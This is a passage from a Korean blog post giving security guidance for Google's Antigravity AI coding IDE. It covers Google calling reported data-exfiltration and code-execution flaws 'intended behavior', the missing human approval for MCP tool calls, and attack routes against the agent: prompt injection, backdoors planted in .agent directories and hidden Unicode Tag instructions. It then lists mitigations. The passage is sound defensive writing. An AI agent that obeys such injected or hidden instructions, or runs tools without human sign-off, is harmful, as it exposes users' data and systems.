A: Simon Willison과 PromptArmor의 보고에 따르면, Google은 데이터 유출과 코드 실행 취약점을 "known issues"(알려진 문제)로 인정하면서도 이를 "intended behavior"(의도된 동작)로 분류했다. 이에 따라:
• Bug Bounty 보상 대상에서 제외
• "수정 작업 중"이라고만 밝히고 구체적 일정 미공개
• 단기간 내 공식 패치를 기대하기 어려울 수 있음
따라서 사용자 스스로 심화 보안 설정을 적용하는 것이 중요하다.
Q: MCP 도구가 승인 없이 실행되는 것을 어떻게 막나요?
A: 현재 Antigravity에는 MCP 도구 호출에 대한 Human-in-the-Loop 메커니즘이 완전히 부재하다. 이를 완화하려면:
위험한 MCP 도구 비활성화: 파일 삭제, 명령 실행 등 파괴적 도구 제거
최소 권한 원칙 적용: 읽기 전용 도구만 허용
MCP 서버 추가 시 신중히 검토
• Google의 Human-in-the-Loop 기능 추가 패치 대기
이 문제는 설정으로 완전히 해결할 수 없으며, Google의 구조적 수정이 필요하다.

참고 자료

공식 자료

보안 연구 보고서

AI IDE 전반 취약점

추가 가이드

핵심 요약

1. 기본 설정만으로는 부족하다 - Prompt Injection은 방어 가능하지만, Persistent Backdoor, Unicode Tag, MCP 무단 실행은 설정으로 막을 수 없다.

2. 심화 설정을 적용하라 - Custom 터미널 정책, Deny List, URL Allowlist 정리, MCP 도구 비활성화가 필수적이다.

3. 신뢰할 수 있는 프로젝트만 열어라 - .agent 디렉토리를 포함한 프로젝트는 특히 주의. 외부 코드의 Unicode Tag 탐지 필요.

4. Google의 "intended behavior" 입장에 주의 - 취약점을 인정하면서도 버그 바운티 대상에서 제외. 단기 패치 기대 어려움.

5. 엔터프라이즈 환경은 격리 필수 - Egress 프록시, 비프로덕션 자격 증명, 컨테이너/VM 격리 권장.

※ 이 글은 2025년 12월 기준으로 작성되었으며, Google의 보안 패치 발표에 따라 일부 내용이 변경될 수 있다. 최신 정보는 공식 채널을 통해 확인하는 것을 권장한다.

300x250
Contents

포스팅 주소를 복사했습니다

이 글이 도움이 되었다면 공감 부탁드립니다.

💡 AI 관련 질문이 있나요? 눌러보세요!